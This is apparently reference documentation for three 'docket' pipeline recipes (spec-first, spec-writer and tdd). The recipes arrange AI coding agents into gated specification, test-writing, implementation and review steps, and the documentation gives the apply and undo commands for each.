Specification-first development as a pipeline: nothing is implemented until a written spec clears an explicit approval gate.
Brings: 3 members, 1 skill, pipeline spec-first. Summary line: roles 0 · policies 0 · members 3 · pipeline spec-first · plugins 0 · skills 1 · settings 0
docket init --recipe spec-first
docket pod <project> apply spec-first
Practice: specification-first (spec-driven) development.
Source idea: write the specification and get it approved before any implementation exists, so a design mistake is caught on paper rather than in a diff.
What docket's gates make structural: approve-spec is a real verdict gate — a Critic's
REJECT sends the task back to spec (bounded to one rework cycle), and build cannot run
until that gate passes APPROVE. The Reviewer's own APPROVE/REQUEST-CHANGES gate after
build is a separate, independent gate: an approved spec does not itself excuse a bad diff.
Apply it
For a new pod, or onto one that already has its lead and implementer:
docket init --recipe spec-first # a new pod for the current repository
docket pod <project> apply spec-first # onto an existing pod
pod.yaml names the three members this recipe adds (writer, critic, reviewer); apply
validates the roster and pipeline.yaml before writing anything, and is safe to run again (a
second run plans every item skip). --dry-run prints the plan without writing.
Files
pod.yaml— whatapplyreads:kind: pod,name: spec-first,members: [writer, critic, reviewer].pipeline.yaml—spec(Writer drafts the specification) ->approve-spec(Critic, APPROVE/REJECT verdict, rework -> spec, maxCycles 1) ->build(Implementer, gated on its own verify command) ->review(Reviewer, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 1).skills/writing-a-spec/SKILL.md-- the shape of a spec a Critic can approve and an Implementer can build from; listed in the prompt, read on demand with theskilltool.
Undo
docket pod <project> config unset pipeline
docket pod <project> remove <project>-writer
docket pod <project> remove <project>-critic
docket pod <project> remove <project>-reviewer
spec-writer
Tests from the brief as a two-step pipeline on two different models: one writes failing tests, the other makes them pass. Needs both providers' credentials (ANTHROPIC_API_KEY and OPENAI_API_KEY).
Brings: pipeline spec-writer. Summary line: roles 0 · policies 0 · members 0 · pipeline spec-writer · plugins 0 · skills 0 · settings 0
docket init --recipe spec-writer
docket pod <project> apply spec-writer
Practice: test-driven implementation where a different model writes the tests.
Source idea: write the tests first, from the brief alone, with one model; then implement against them with another. A model that writes both the tests and the code can make them agree with each other instead of with the brief.
What docket's gates make structural: the write-tests step runs before the Implementer and
is briefed separately to write failing tests from the brief alone. The implementation step is
gated on verify: true (the Implementer's own verify command), so tests must pass to proceed.
The two steps pin different models (openai/gpt-4.1-mini writes the tests,
anthropic/claude-sonnet-4-6 implements), whatever the pod's default or any docket models set
pin. Set ANTHROPIC_API_KEY and OPENAI_API_KEY (environment or secrets.json) first. To check
that the new tests really fail on the base, add the anti-tautology recipe's step.
Apply it
For a new pod, or onto one that already has its lead and implementer:
docket init --recipe spec-writer # a new pod for the current repository
docket pod <project> apply spec-writer # onto an existing pod
pod.yaml carries a description only (the recipe adds no new members or settings);
apply validates the pipeline before writing anything, and is safe to run again (a second
run plans every item skip). --dry-run prints the plan without writing.
Files
pod.yaml— whatapplyreads:kind: pod,name: spec-writer,description.pipeline.yaml—write-tests(Implementer role,model: openai/gpt-4.1-mini, test-writing instructions) ->build(Implementer,model: anthropic/claude-sonnet-4-6, gated on its own verify command).
Undo
docket pod <project> config unset pipeline
tdd
Test-driven development as a pipeline: a failing test is written and mechanically confirmed to fail before any implementation exists.
Brings: 1 member, 1 skill, pipeline tdd. Summary line: roles 0 · policies 0 · members 1 · pipeline tdd · plugins 0 · skills 1 · settings 0
docket init --recipe tdd
docket pod <project> apply tdd
Practice: test-driven development (red -> green -> refactor).
Source idea: write a failing test first, then the smallest change that makes it pass (Kent Beck's red-green-refactor cycle).
What docket's gates make structural: check-red is not advice — it is a run command step
that actually executes the test suite and fails the whole task if the new test does not fail, so
an Implementer cannot skip "red" and go straight to "green". green's own verify command is a
second, independent mechanical gate, and the Tester's PASS/FAIL verdict is a third; nothing here
counts as done on an agent's own say-so.
Apply it
For a new pod, or onto one that already has its lead and implementer:
docket init --recipe tdd # a new pod for the current repository
docket pod <project> apply tdd # onto an existing pod
pod.yaml names the one member this recipe adds (tester); apply validates the roster and
pipeline.yaml before writing anything, and is safe to run again (a second run plans every item
skip). --dry-run prints the plan without writing.
Files
pod.yaml— whatapplyreads:kind: pod,name: tdd,members: [tester].pipeline.yaml—red(Implementer writes exactly one failing test) ->check-red(aruncommand step, routedon: {pass: fail, fail: green}so the task fails outright if the new test does not actually fail) ->green(Implementer, gated on its own verify command) ->test(Tester, PASS/FAIL verdict).check-red's command is the literalpython3 -m pytest -q— the pipeline format'srunfield carries no${var}-style interpolation (only a step'sinstructionsdoes), so edit this line by hand if the project's test runner is something else.skills/test-first/SKILL.md-- how to write the one failing test and make it pass without widening scope; listed in the prompt, read on demand with theskilltool.
Undo
docket pod <project> config unset pipeline
docket pod <project> remove <project>-tester